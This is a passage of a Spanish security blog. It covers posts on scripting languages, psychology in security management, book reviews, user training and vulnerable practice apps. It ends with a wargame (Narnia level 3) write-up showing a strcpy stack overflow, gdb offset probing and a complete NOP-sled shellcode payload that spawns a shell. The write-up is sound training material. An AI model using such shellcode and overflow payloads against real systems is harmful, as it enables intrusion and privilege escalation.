Unas dudas recurrentes en el mundo de la informática son “¿qué lenguaje de scripts aprendo?” y “¿qué lenguaje de scripts uso para esto?“. Y como todo en la vida, estas discusiones están llenas de fanáticos, de medias verdades y de desconocimiento.

En el caso de dedicaros a seguridad, además, surge siempre la duda debido a que, normalmente, no somos programadores ni tampoco nos dedicamos a automatizar tareas constantemente.

Recientemente, en Security By Default ha habido una discusión similar y quería aportar aquí mi impresión al respecto. Intentaré ser, en la medida de lo posible, imparcial aunque no ocultaré lo que pienso.

Shell script

El lenguaje de scripting que todo el mundo debe saber y sobre el que no hay que discutir es shell script. Esto supone normalmente aprender bash. Aunque hay otras shells bastante usadas, tales cómo kshzsh.

La ventaja principal de la shell es la capacidad de enlazar comandos de forma rápida desde la línea de comandos por medio de ‘tuberías’. A mí me encanta hacer ‘oneliners’ para tratar ficheros, resultados de comandos, etc.

Si bien no puedes usar librerías o módulos de terceros, como indican en el artículo de SBB, sí que puedes lanzar cualquier comando del sistema. Y muchos comandos están pensados para tomar entrada estándar, escupir por la salida estándar y tienen opciones para formatear los resultados de forma que puedan ser usados por otros programas.

No es de extrañar que sh sea el mejor lenguaje puntuado en el scriptometer.

Desde el punto de vista de seguridad, es imprescindible para realizar tareas cotidianas y automatizar la ejecución y el análisis de comandos de forma sencilla.  Comandos como find, sed, awk, cut, seq, xargs, nc o curl puedes combinarlos hasta que se te acabe la imaginación.

Siempre que puedas hacer algo en shell no te compliques en hacerlo en otro lenguaje a menos que tengas alguna otra razón (rendimiento, extensibilidad, etc.).

La mayor parte de los scripts de sistema operativo están escritos en shell  script, por lo que aprenderlo sirve para poder analizarlos y conocer qué se está ejecutando (scripts de inicio, crons, scripts de administradores, etc.).

Ruby

Ruby es mi lenguaje de scripting favorito. Empecé a usarlo gracias a un artículo en Linux Magazine por el año 2001, creo recordar. Por aquel entonces yo hacía mis scripts en Perl. En el artículo de la revista descubrí este lenguaje que, decían “te hará feliz”. Intrigado, lo instalé y… tenían razón. Era un lenguaje genial, intuitivo y… te hacía sentir contento programando en él. Y la siguiente vez que mirabas un script lo entendías, cosa que no siempre ocurría con Perl.

Así que, pasé a usar únicamente Ruby en mis scripts.  Posteriormente vino el Ruby on Rails y el lenguaje alcanzó mucha más popularidad… pero asociada principalmente al desarrollo de aplicaciones web. Por lo que mucha gente piensa que no es adecuado para otra cosa. Cuando no es así, claro. Por ejemplo, os recomiendo el libro Practical Ruby for System Administration para conocer las capacidades de este lenguaje para desarrollar scripts de administración de sistemas.

Quizá el mayor impacto en seguridad sea la decisión de desarrollar Metasploit en Ruby. No sólo el framework está desarrollado en Ruby sino que, además, los módulos de metasploit (scanners, exploits, payloads, post explotation) están escritos en Ruby.

Desde luego es un incentivo para aprender este lenguaje y poder expandir su funcionalidad o entender exploits, etc.

Otro software interesante, desde el punto de vista de la seguridad, son los cada vez más usados gestores de configuración. Aunque los hay en otros lenguajes, quizá los más conocidos son puppet y chef, ambos desarrollados en Ruby.

La distribución de software y módulos se realiza, normalmente, en forma de ‘gemas’, las rubygems. Este sistema es similar a los paquetes de software del sistema operativo y hacen muy fácil poder instalarlos, actualizarlos y mantenerlos.

Una funcionalidad que uso muchísimo a diario es irb (Interactive Ruby). Con esta aplicación tienes una línea de comando que interpreta código Ruby. Es muy útil no sólo para probar trozos de tus scripts sino también para efectuar actividades de análisis puntual empleando la funcionalidad de los módulos disponibles.

Por ejemplo, la última vez que lo usé fue la semana pasada para analizar la configuración XML de un cortafuegos PaloAlto. Cargas el fichero XML como un objeto y vas haciendo queries XPath para extraer colecciones con las que listar, contar y analizar las reglas del cortafuegos.

Y como no todo puede ser color de rosa, Ruby tiene un problema y es que es lento. Probablemente el más lento de los lenguajes de script. Dicen que mejora mucho con la versión 1.9, pero aún no la he probado. De todos modos, para lo que lo uso yo tampoco es un problema muy grave.

Python

Python es el favorito de los niños. No sólo porque es un lenguaje mucho más conocido que Ruby sino también porque cuenta con el respaldo de Google. Y todo lo que toca Google se convierte en oro… (bueno, menos el Wave :) ). Que conste que mis conocimientos de programación en Python son bastante cortitos.

Yo creo que prácticamente todo el que conozco que hace alguna cosa con scripts prefiere Python. Quizá debido al desconocimiento que indico algo más arriba se tiene la impresión de que Python es mucho más versátil o ‘mejor’ que Ruby. Y aunque yo suelo tener discusiones al respecto realmente es por echar unas risas y crear cizaña.

Realmente pienso que Ruby y Python son muy similares y depende un poco de gusto personal o de que haya soporte para lo que quieres hacer en este lenguaje. Sobre esto último, es bastante común que los que usan Python esgriman el argumento de que tiene muchos módulos ya hechos para cualquier cosa. Pero vamos, que si miras, hay muchísimos también para Ruby o Perl.

Eso sí, Python es más rápido que Ruby, aunque parece que carezca de las capacidades de meta-programación extrema de este último.

Muchos empiezan en Python porque piensan que es el  ‘ganador’, aunque yo creo que lo mejor sería probarlos todos y decidir el que más nos gusta.

Desde el punto de vista de seguridad, hay multitud de mini-herramientas de seguridad escritas en Python. Quizá la más famosa sea el analizador de seguridad web w3af o el detector de SQLi sqlmap.

Además, cada vez más se ven exploits individuales escritos en este lenguaje, compitiendo directamente con Perl en este aspecto.

En definitiva, desde el punto de vista de seguridad conviene aprender, al menos, lo suficiente para entender exploits y scripts sencillos en Python.

Perl

Perl es el primer lenguaje de scripts moderno (que algunos llaman dinámicos).  Como tal tiene sus problemillas. A diferencia de Python o Ruby, que beben de lenguajes académicos, Perl es más ‘callejero’ que el resto.

Tarde o temprano os habréis encontrado con scripts Perl. Entre otras cosas, es característico por ser difícil de leer, incluso si el script lo has hecho tú mismo. Merece la pena aprender lo básico porque hay muchos exploits y herramientillas desarrolladas en Perl.

Actualmente mi impresión es que está en desuso, con preferencias por otros lenguajes más modernos.

Lua

Lua es un silencioso lenguaje de scripting enfocado en ser pequeñito y amigable, que se puede integrar fácilmente en otros entornos. No es causalidad que sea usado por múltiples entornos sin que sepas que está ahí, desde juegos on-line hasta… seguridad.

Dos de las aplicaciones de análisis de red (cada uno en su estilo) más conocidas, Wireshark y Nmap, pueden ser extendidas empleando Lua.

Particularmente, el Nmap Scripting Engine (NSE)  es básicamente Lua con librerías desarrolladas por la gente de Nmap. Si tenéis una versión relativamente nueva de Nmap echad un vistazo a /usr/local/share/nmap/scripts/ para ver las posibilidades.

Lua es un lenguaje que me cae ciertamente simpático sin una razón clara. Estoy interesado en aprenderlo sólo por trastear un poco con el NSE.

Tcl

Tcl es el típico lenguaje antiguo que nunca querrías aprender y siempre has evitado… hasta que te llega la hora.

Particularmente, en mi caso, me ha tocado aprender un poco (lo mínimo necesario) para entender y hacer alguna iRule sencillita para balanceadores BIG-IP. Estos cacharros tienen un motor de Tcl  con módulos para casi cualquier protocolo que se ejecuta para aquellos servicios que tú quieras. Si quieres saber por qué usa Tcl y si creen que fue una buena elección en su día lee este artículo.

También se usa Tcl en expect y netexpect. Para expect hace falta poca presentación.

Netexpect es similar pero para interaccionar con la red. Merece la pena echarle un ojo aunque, a decir verdad, es complicado que os sirva de algo. Echad un ojo a los ejemplos para ver las posibilidades. Entran ganas de ponerse a trastear con la red ¿eh?

Al creador (Eloy Paris) lo conocimos en la First Conference que hubo en Sevilla en 2007 y parecía muy buena gente.

Otros

Hay otros legnaujes de scripting por ahí aunque los anteriores son los más comunes, creo yo. Sin embargo, se me escapaba uno fundamental, aunque ciertamente distinto: Javascript.

Javascript se ha convertido en el lenguaje más usado. Aunque es considerado un lenguaje de scripting, realmente hasta hace poco sólo se usaba en el navegador. Como tal, es esencial entender Javascript para revisar la seguridad de una aplicación web.

Recientemente, sin embargo, con el advenimiento de node.js, empieza a ser común usarlo en la consola. De hecho existe un package manager para aplicaciones Javascript que usan node.js.

Por ejemplo, este paquete sirve para hacer auditorías de seguridad de CouchDB.

Mucho más se podría decir de este querido y odiado lenguaje pero eso es objeto de otro artículo igual más largo que este :).

Conclusiones

Sea como fuere, si trabajas en seguridad tarde o temprano tendrás que aprender algún lenguaje de scripts. Espero que estas divagaciones te sirvan para algo. En cualquier caso, siempre conviene tener un conocimiento mínimo de la sintaxis de todos los lenguajes de scripts citados.

Yo diría que, como regla mnemotécnica:

  • Aprende shell scripting bien
  • Aprende bien uno de los tres ‘principales’ (Ruby, Python o Perl) para hacer tus propios scripts y el resto lo suficiente para entender/modificar scripts ajenos
  • Si vas a trabajar intensamente con alguna herramienta de seguridad (nmap, wireshark, metasploit, w3af,  etc.) te conviene aprender el lenguaje principal de scripting asociado
  • Por último, si vas a trabajar en seguridad web, ya estás tardando en aprender javascript, al menos lo suficiente como para poder auditar una web y comprender los riesgos asociados

Y nada más por mi parte, ¿cuál es vuestro lenguaje favorito, para qué lo usas?

 

 

Hace tiempo que no escribo nada. Disculpadme, motivos personales y profesionales me tienen disperso. Algunos de estos motivos son positivos y otros no tanto. Entre los positivos (como algunos sabéis) está que me matriculé en la UNED para estudiar el grado de Psicología y he estado las últimas semanas centrado en aprobar los primeros exámenes…

Por cierto, en el último examen me encontré con otro de los miembros de nuestro selecto club de la seguridad y las cervezas… así que en la próxima quedada creo que vamos a poder discutir sobre algunos temas interesantes.

Después de este primer semestre se van confirmando mis sospechas: “el enfoque de otras disciplinas puede enriquecer mucho la gestión de la seguridad”.

Como comprenderéis, aun no tengo ni idea de psicología y solo he empezado a sumergirme en algunas de las teorías que componen este marco de estudio científico. Poco a poco voy conociendo conceptos que no puedo evitar relacionar con el día a día de la gestión de la seguridad. Si consigo disponer del tiempo suficiente trataré de compartirlos con vosotros y si algún psicólogo nos lee y ve que digo burradas que arroje luz por favor!!

El de hoy es el concepto de Indefensión aprendida:

Es un proceso que tiene lugar cuando un organismo aprende que sus respuestas y los reforzamientos son independientes, llevando al organismo a un estado de incapacidad percibida de resolver las situaciones de amenaza. La indefensión tendría lugar cuando se pierde el control de las consecuencias del propio comportamiento.

Cuando una persona o un animal se enfrentan a una amenaza o una pérdida, aparece la respuesta de estrés asociada al miedo. Si aprenden que la respuesta no es controlable y tiene lugar la indefensión aprendida, la depresión sustituye al miedo, es decir que las situaciones no controlables generan estrés.

Seguramente el vídeo del principio del post os deje más claro el concepto.

Yo me pregunto si esta teoría explica la conducta de muchos gestores TI que no hacen nada por mejorar la seguridad de sus servicios e información. Sabemos que la seguridad al 100% nunca se consigue y que aunque una organización gestione adecuadamente su seguridad se producirán incidentes. Además en muchas ocasiones los responsables TI no están formados y capacitados para una gestión integral y metodológica de la seguridad, lo que se traduce en acciones puntuales, no planificadas, artificiales y contratadas a proveedores que muestran poco interés en algo que no sea trincar el dinero y salir corriendo al próximo cliente.

En definitiva tenemos personas que dan respuestas (más o menos adecuadas) a amenazas y que perciben que los resultados siguen siendo incontrolables: continúan produciéndose incidentes. Aparece la indefensión aprendida y el miedo/acción se transforma en depresión/inacción/resignación…

Si esto es así… ¿qué sentido tiene que en cada una de las presentaciones comerciales y charlas de concienciación se siga usando el miedo para provocar la acción?

¿¿Le veis sentido o es una paja mental???

 

 

El libro de la bruja‘ es como llama mi hija al libro ‘The tangled web‘ de Michal Zalewski (también conocido como lcamtuf).

Por fin he terminado este magnifico libro sobre seguridad en aplicaciones web modernas y voy a escribir algunos comentarios al respecto.

Para empezar, os recomiendo encarecidamente este libro si queréis comprender cómo funcionan las aplicaciones web y sus mecanismos de seguridad tanto actuales como los que están por venir.

Dicho esto, debo advertiros de que no se trata de un libro sobre programación segura ni se tratan problemas típicos como la inyección SQL.

Realmente, lo que hace este hombre es explicar la relación existente entre  los componentes de las aplicaciones web (servidor web, protocolo HTTP, navegador) y, sobre todo, se centra en las formas de explotar esa relación.

Así mismo, explica las diferencias de implementación de las medidas de protección en los navegadores. Es fascinante ver lo diferente que se comportan. De hecho, parte del libro surge de su estudio de los distintos navegadores reflejado en el browser security handbook.

Partiendo de la idea de que para poder gestionar la seguridad de un entorno, hay que conocerlo bien (el diablo está en los detalles), el mundo de los navegadores es engañosamente sencillo y, en muchos casos, anti-intuitivo.

Por ejemplo, algo tan sencillo como una URL da para un capítulo completo donde te vas a enterar de cosas que no sabías sobre este aparentemente trillado tema. Desde diferentes modos de codificación de los nombres de dominio a los distintos tipos de ‘scheme‘ (la parte que indica el ‘protocolo’ al principio de la URL) tales como ‘data:‘ Zalewski nos cuenta aquello que nos puede hacer pupita y las diferentes formas en las que gestionan los navegadores la URL cuando se construyen pensando en confundirlos.

Lo más importante del libro quizás sea la explicación de las técnicas de aislamiento que mantienen los navegadores. Principalmente el famoso y mal entendido Same Origin Policy (SOP). Aunque su formulación es muy sencilla, hay un conjunto de detalles a tener en cuenta en función de qué elementos estén implicados.

Zalewski también valora las recientes técnicas empleadas por desarrolladores precisamente para escapar al SOP e intercambiar información entre dominios.

Otro aspecto que me gustó mucho es el tratamiento de frames y contenidos insertados de otros dominios. El libro detalla qué medidas de protección frente a scripts insertados en tu página que provengan de otro dominio y cómo implementarlo de forma segura.

En todo el libro, Zalewski incluye su opinión (en muchos casos cínica y realista) y da una perspectiva de cómo han ido evolucionando los distintos navegadores, qué decisiones han tomado ante determinadas situaciones y cuales se plantean en el futuro.

El epílogo es ciertamente sorprendente y revelador ya que plantea hasta qué punto necesitamos más seguridad en el mundo digital que en el mundo real, mediante analogías de la vida cotidiana donde ‘confiamos’ en muchísimas actividades que realizamos y donde nuestros mecanismos de seguridad son, por así decirlo, imperfectos.

Tampoco quiero extenderme mucho más que no os quiero quitar tiempo de leerlo. Os dejo algunas perlas que me gustaron y que fui registrando en twitter.

All signs point to security being largely a nonalgorithmic problem for now

But despite claims to the contrary, such products are no substitute for street smarts and technical prowess—at least not today

Too often, “by keeping your fingers crossed” is the best response we can give

A whole new class of security vulnerabilities that a taxonomy buff might call a failure to account for undocumented diversity

Inquisitive readers are advised to grab Web Application Obfuscation (…) and then weep about the fate of humanity

If it comes to this, cookies will probably have to be redesigned from scratch” hablando de los TLDs genéricos

Instead, additional, sometimes hopelessly imperfect security boundaries need to be created from scratch

Fuck you

Hola ¿qué tal?,

el otro día chmeee nos hablaba de concienciación de usuarios en uno de sus Lunes Desmotivadores y citaba a Ranum:

“la concienciación de usuarios no funciona ni funcionará nunca porque, de hacerlo, ya hubiera funcionado”

Ayer uno de nosotros sec&beerreros twiteaba lo siguiente:

“hoy un reputado profesional de la infosec me ha dicho “la concienciación de los usuarios es una batalla perdida” …

Pues a Ranum, al reputado profesional (desenmascarado hoy por @adaecjl) y a todo el que sostenga eso, yo le respondo “y un carajo!“. No digo que sea una batalla perdida, digo que no podemos saber si lo es. Es una batalla que nunca hemos luchado en serio.

Chmeee decía:

“Uno de los principales escollos es la falta de conocimientos del usuario normal respecto a las tecnologías que utiliza y a los riesgos que supone”.

Pues yo digo:

“Uno de los principales escollos es la falta de conocimientos de los profesionales de la infosec respecto al ser humano, a las relaciones interpersonales, a la forma en que pensamos, sentimos, aprendemos y actuamos dentro de una organización.”

Os imagináis que las campañas de seguridad vial las diseñaran los mismos ingenieros y mecánicos que diseñan los airbags, los ESPs, el ABS y las estructuras deformables???  ¿Pensáis que las campañas de prevención del tabaquismo las diseña un cirujano especializado en pulmón?  Pues esto es lo que hacemos en seguridad de la información, al menos es lo que yo he vivido.

Y hombre… los reputados profesionales de la seguridad son buenos en su campo, pero quizá no son buenos en otras áreas profesionales del terreno de las ciencias sociales. Cuando nosotros hablamos de concienciación, a un experto de este campo le debe sonar igual que cuando nosotros escuchamos a un psicólogo hablar de firma electrónica….

Si todos estamos de acuerdo en que la gestión de la seguridad se debe basar en el modelo de Personas, Procesos y Tecnología (PPT), en cualquier departamento de seguridad o proveedor de servicios de seguridad deberíamos encontrar:

  • psicólogos, sociólogos, pedagogos, expertos en comunicación y marketing, etc (Personas)
  • juristas, expertos en organización, administración y gestión empresarial, etc (Procesos)
  • Ingenieros y técnicos (Tecnología)

Por deformación profesional, cuando hablo de seguridad de la información, me refiero a seguridad de la información corporativa. Es decir, a la disciplina que trata de garantizar que la organización (ya sea empresa, administración, asociación, etc) protege su información con el fin de que la consecución de sus objetivos se cumpla con eficiencia.

En el ámbito de la seguridad corporativa y partiendo del mantra PPT la solución al problema completo únicamente la encontrará un equipo multidisciplinar.

Y ahora por 25 pesetas, díganme organizaciones con equipos de seguridad multidisciplinares. Por ejemplo  ******  un, dos, tres, responda otra vez…

 

El amigo Wysopal (“quizá me conocáis de L0phtcrack, @stake, etc.”) ha preparado una lista de aplicaciones web inseguras con las que se pueden practicar técnicas de análisis de seguridad web sin miedo a romper nada o a que te metan en la cárcel (o peor, te quiten el Internet).

En fin, como ya he hecho publicidad y he puesto el enlace, voy a fusilar literalmente la lista aquí, para tenerla más a mano. Eso sí, para ver la lista actualizada, id a su artículo.

Offline:

Virtual Machines (VMs) or ISO images:

Online/Live:

Recordad que las aplicaciones web son una de las primeras líneas de defensa y que, por mucho WAF que pongas, suponen un riesgo de seguridad al que dedicarle mucho mimo. Mientras más sepas sobre seguridad web, mejor.

Sobre este tema, os recomiendo el último libro de M. Zalewski (lcamtuf): ‘The Tangled Web: A Guide to Securing Modern Web Applications’, del que podéis leer el tercer capítulo de gratis.

El otro día quise dar un paseo en bici, y a la vuelta, como estaba un poco cansado, decidí volver en Metro. Total, que me fuí a la estación, y como era la primera vez que subía la bici al Metro, y no había nadie en la estación, la subí por la escalera mecánica. Cuando llegué arriba, el de seguridad me estaba esperando para decirme que las bicis, por motivos de seguridad, habia que subirlas por el ascensor. Y yo le dije “muy bien señor guardia”, pero la verdad es que en ese momento me fastidió un poco porque no entendía por qué no se podía hacer.

¿Sería porque si la subo por la escalera se me puede escapar de las manos montando un estropicio? ¿Sería porque se puede enganchar en algo y provocarme algún daño? ¿Sería porque en horas puntas la bici en la escalera molesta a los usuarios? ¿O quizás una combinación de todas ellas? En definitiva, ¿por qué?, ¿por qué?, ¿¡POR QUÉ!?

Y claro, ahora se me ocurre que si a mi, cuando me “sueltan” una norma cuya razón de ser a priori no entiendo, me “enajeno” e incluso llego a pensar “no me seas tocahuevos”, lo mismo mis usuarios, cuando les suelto el rollo evangelizador habitual, están pensando lo mismo (vamos, seguro que lo piensan :P).

He asistido a varios cursos sobre Seguridad de la Información. Alguno de ellos eran cursos destinados a usuarios finales (personal no técnico). Y el recuerdo que tengo de ellos es el de uno o varios profesores enumerando una lista de buenas prácticas, pero no recuerdo que ninguno se explayase demasiado explicando por qué es bueno seguirlas. Y cuando lo hacían, los ejemplos que usaban eran demasiado “poco reales”.

Yo creo que si en el futuro me tocase dar formación a usuarios, lo plantearía de otra forma:

Lo primero de todo, dejaría claro que el pensamiento generalizado de “quien que me va querer atacar, si no yo soy importante” es erróneo. Tenemos que conseguir que los usuarios se convenzan de que todos somos potenciales objetivos. Aquí es importante suavizar el mensaje, no debe uno convertirse en “asustaviejas”. Diría que las cosas pasan (porque es verdad), pero también diría que con sencillas medidas, con un poquito de sentido común, etc etc. es muy fácil estar protegidos.

En segundo lugar, conduciría la formación en torno a “casos de uso”. Es decir, buscaría un ejemplo real, preferentemente en vídeo (YouTube es tu amigo, aunque  un recorte de periódico, cuanto más local mejor, tampoco estaría mal). Luego lo expondría, explicando claramente por qué ha pasado eso y a continuación contaría como podríamos haberlo evitado aplicando buenas prácticas (o al revés, se pueden mostrar primero las “buenas practicas” relacionadas con el caso, para presentarlo a continuación).

Importante: lo ejemplos deberían estar adaptados al público que recibirá la formación. Por ejemplo, si vas a hablar del problema de compartir contraseñas y tu público es personal no técnico, y dado que en España los programas del corazón arrasan, yo usaría algo como esto:

http://www.youtube.com/watch?v=t9zcdHc4ESI

Y si puedes encontrar algún ejemplo donde salga gente más “mundana” mucho mejor. Hay que explotar mucho más la empatía.

Uno de los casos de uso, probablemente el primero que expondría, estaría destinado a padres (que muchos de los usuarios lo serán), y aparte de lo habitual añadiría consejos acerca de herramientas que pueden usar para proteger a sus hijos. ¿Qué padre no haría lo que fuese por proteger a sus hijos? Pues aprovéchate de eso para captar su interés desde el primer momento.

Y al final del curso, y a modo de refuerzo más que nada, sacaría la lista típica de buenas prácticas y la repasaría con los usuarios en no más de una hora.

Así es como enfocaría yo las actividades formativas, por lo menos aquellas destinadas al público general. ¿Os parece adecuado? ¿Cómo lo enfocaríais vosotros?

P.D: mientras escribía esto, se me ha ocurrido que en vez de esperar a una actividad formativa, podría usar este esquema en el día a día. Por ejemplo, podría montar en mi organización un blog donde cada vez que apareciese una “noticia desastre” en la tele o en el periódico, esta sería analizada y explicada, comentando que buenas prácticas hubiesen evitado el “desastre”. Por supuesto con los comentarios abiertos, para captar el feedback de los usuarios (por eso no lo haría en base a newsletters). Y para rizar el rizo: desplegaría masivamente un lector de RSS corporativo, de esos que cuando hay mensajes nuevos te sacan el “globito”, configurado por defecto para leer ese blog (y otros del organismo si hubiese).

One flew east,
one flew west,
one flew over the cucko’s nest

Fantástica presentación de Bejtlich sobre lo que puede aprenderse del clásico libro ‘The cucko’s egg“.

En este libro, su autor, Cliff Stoll, cuenta como descubrió una trama de espionaje que robaba información de sistemas de los Estados Unidos.

En la presentación Bejtlich recoge las enseñanzas sobre monitorización y respuesta a incidentes que extrae tras leer el libro, animadas con capturas de una representación teatral (casi documental) que hicieron para televisión en la que actúan los propios implicados.

Tuve la oportunidad de leer este libro allá por el 2001 pero finalmente no lo hice :(. Y aunque siempre me he arrepentido, ahora me arrepiento más.

¿Qué puede aprenderse de este libro? Os incluyo la enumeración de Bejtlich traducida, aunque sólo sea para que se me quede mejor:

Lecciones sobre monitorización y análisis

  • “Dotarse de visibilidad” con una aplicación de contabilidad local
  • No dependas de una única “fuente de verdad”
  • El registro centralizado de actividad es una solución contra los intrusos que borran los logs locales
  • La monitorización pasiva de todo el tráfico captura todos los detalles sin alertar al intruso
  • Documenta el análisis en un libro de bitácora
  • Preguntas clave: ¿alcance de la intrusión, profundidad de la intrusión?
  • Monitorizar usando material abandonado es mejor que nada
  • Escritura de herramientas a medida para monitorizar y alertar
  • A alguien le importa: análisis por una persona que se tomó la intrusión de forma personal

Lecciones sobre la naturaleza de la intrusión

  • El intruso aprovecha credenciales débiles para acceder
  • El intruso utiliza una vulnerabilidad local para escalar privilegios
  • El intruso se aprovecha de relaciones de confianza
  • El intruso se aprovecha de configuraciones inseguras por defecto del fabricante
  • El intruso se aprovecha de la monocultura de sistemas (¡Unix de los ’80!)
  • Había información sensible accesible desde la red normal, por ejemplo, equipamiento de tratamiento de cáncer
  • Los propietarios de los sistemas le decían a Stoll repetidamente que una intrusión era “¡imposible — nuestros sistemas son seguros!
  • ¿Recuperación desde una imagen, re-construcción o desde backup?
  • La notificación externa es el método más común de detección

Lecciones sobre las verdades duraderas

  • De las 80 víctimas sólo dos se dieron cuenta (LBNL y NSA)
  • Las agencias del estado piden información pero dan poca
  • La comunicación de información sobre la intrusión compromete las operaciones de seguridad
  • Los intrusos desafían las suposiciones de los propietarios de la red
  • ¿Cuándo monitorizar al intruso y cuándo contenerlo?
  • ¿Cuánto cuesta la información robada? ¿Cuál es el coste del incidente?
  • Diversas técnicas de análisis proporcionan mejores resultados
  • No se puede confiar en que los sistemas se defiendan solos o que informen sobre su estado de seguridad
  • Los intrusos pueden ser creativos y persistentes

Por último, no os perdáis esta TED Talk de Cliff sobre… sobre… bueno, mejor que lo véais. Y no le toméis a mal el comentario “I find compurter security frankly to be kind of boring” :).

Continuando con la saga, y después de muchos segfaults por fin he conseguido pasar el nivel 3 de este juego, que os recomiendo para desempolvar esos conocimientos de ‘bajo nivel’.

A continuación os cuento las claves para pasar este nivel.

LEVEL3

Comenzamos ejecutando /wargame/level3 a ver qué hace.

level3@narnia:/wargame$ ./level3
Usage: ./level3 argument
level3@narnia:/wargame$ ./level3 sevillasecandbeer
sevillasecandbeerlevel3@narnia:/wargame$

Parece que simplemente escupe el primer argumento. Vemos el código.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char * argv[]){
        char buf[128];
 
        if(argc == 1){
                printf("Usage: %s argument\n", argv[0]);
                exit(1);
        }
        seteuid(1004);
        strcpy(buf,argv[1]);
        printf("%s", buf);
 
        return 0;
}

Está claro que lo que hay que hacer es aprovechar que usan strcpy, una función que sabemos que es muy peligrosa porque no limita la entrada de datos al buffer.

En el nivel anterior, la idea era aprender a crear una shellcode., en este nivel se trata de aprender a ejecutarlo explotando un buffer overflow.

Lo primero es documentarse un poco. El famoso (y viejo) artículo de Aleph One ‘Smashing The Stack For Fun And Profit‘ y este tutorial fueron de gran ayuda.

Así que empecé a probar con gdb para intentar machacar la dirección de vuelta de la llamada a la función strcpy (tuve que probar muchas más veces :) ).

$ gdb /wargame/level3
(gdb) run `perl -e 'print "A"x138'`BBBB
Starting program: /wargame/level3 `perl -e 'print "A"x138'`BBBB
 
Program received signal SIGSEGV, Segmentation fault.
0xb7004242 in ?? ()
 
(gdb) run `perl -e 'print "A"x140'`BBBB
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /wargame/level3 `perl -e 'print "A"x140'`BBBB
 
Program received signal SIGSEGV, Segmentation fault.
x42424242 in ?? (

Una vez conocido el número de caracteres que hay que insertar para desbordar la dirección de retorno, hay que pensar con qué lo rellenamos. Lo mejor es incluir una shellcode, la que ya usamos en el nivel anterior y rellenar con NOPs el resto.

El siguiente volcado de memoria nos enseña cómo queda tras el desbordamiento anterior con ‘A’s y ‘B’s. (los 0x41414141).

gdb) x/150 $esp
0xbffff9c0:     0x00000000      0xbffffa34      0xbffffa40      0x00000000
0xbffff9d0:     0xb7fdfff4      0x00000000      0xb8000cc0      0xbffffa08
0xbffff9e0:     0xbffff9c0      0xb7ec7e6d      0x00000000      0x00000000
0xbffff9f0:     0x00000000      0xb7ff6090      0xb7ec7ded      0xb8000ff4
0xbffffa00:     0x00000002      0x08048350      0x00000000      0x08048371
0xbffffa10:     0x08048404      0x00000002      0xbffffa34      0x080484e0
0xbffffa20:     0x08048490      0xb7ff6c40      0xbffffa2c      0xb80014e4
0xbffffa30:     0x00000002      0xbffffb3f      0xbffffb4f      0x00000000
0xbffffa40:     0xbffffbe0      0xbffffbf0      0xbffffc00      0xbffffc1f
0xbffffa50:     0xbffffc32      0xbffffc3e      0xbffffeb9      0xbffffec5
0xbffffa60:     0xbffffef2      0xbfffff08      0xbfffff17      0xbfffff24
0xbffffa70:     0xbfffff2f      0xbfffff38      0xbfffff4f      0xbfffff61
0xbffffa80:     0xbfffff69      0xbfffff78      0xbfffffaa      0xbfffffca
0xbffffa90:     0x00000000      0x00000020      0xb7fea400      0x00000021
0xbffffaa0:     0xffffe000      0x00000010      0x0febfbff      0x00000006
0xbffffab0:     0x00001000      0x00000011      0x00000064      0x00000003
0xbffffac0:     0x08048034      0x00000004      0x00000020      0x00000005
0xbffffad0:     0x00000007      0x00000007      0xb7feb000      0x00000008
0xbffffae0:     0x00000000      0x00000009      0x08048350      0x0000000b
0xbffffaf0:     0x000003eb      0x0000000c      0x000003eb      0x0000000d
0xbffffb00:     0x000003eb      0x0000000e      0x000003eb      0x00000017
0xbffffb10:     0x00000000      0x0000000f      0xbffffb2b      0x00000000
0xbffffb20:     0x00000000      0x00000000      0x69000000      0x00363836
0xbffffb30:     0x00000000      0x00000000      0x00000000      0x2f000000
0xbffffb40:     0x67726177      0x2f656d61      0x6576656c      0x4100336c
0xbffffb50:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb60:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb70:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb80:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb90:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffba0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbb0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbc0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbd0:     0x41414141      0x41414141      0x42414141      0x00424242
0xbffffbe0:     0x4c454853      0x622f3d4c      0x622f6e69      0x00687361
0xbffffbf0:     0x4d524554      0x7263733d      0x2d6e6565      0x00656362
0xbffffc00:     0x5f485353      0x45494c43      0x383d544e      0x34312e39
0xbffffc10:     0x2e362e30      0x34352032

Los NOPs son instrucciones que… no hacen nada. Su código hexadecimal es 90. Vamos a poner una dirección de retorno que caiga en medio, por ejemplo: 0xbffffb60.

Starting program: /wargame/level3 `echo -e "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42\x42\x50\xfb\xff\xbf"`
sh-3.1$ ls
level1    level2    level3    level4    level5    level6    level7    level8
level1.c  level2.c  level3.c  level4.c  level5.c  level6.c  level7.c  level8.c
sh-3.1$ id
uid=1003(level3) gid=1003(level3) groups=1003(level3)
sh-3.1$ exit

Parece que lo hemos conseguido. Sin embargo, como se ejecuta dentro de gdb aún no tenemos el uid efectivo de level4.

Volvemos a probar desde la línea de comandos.

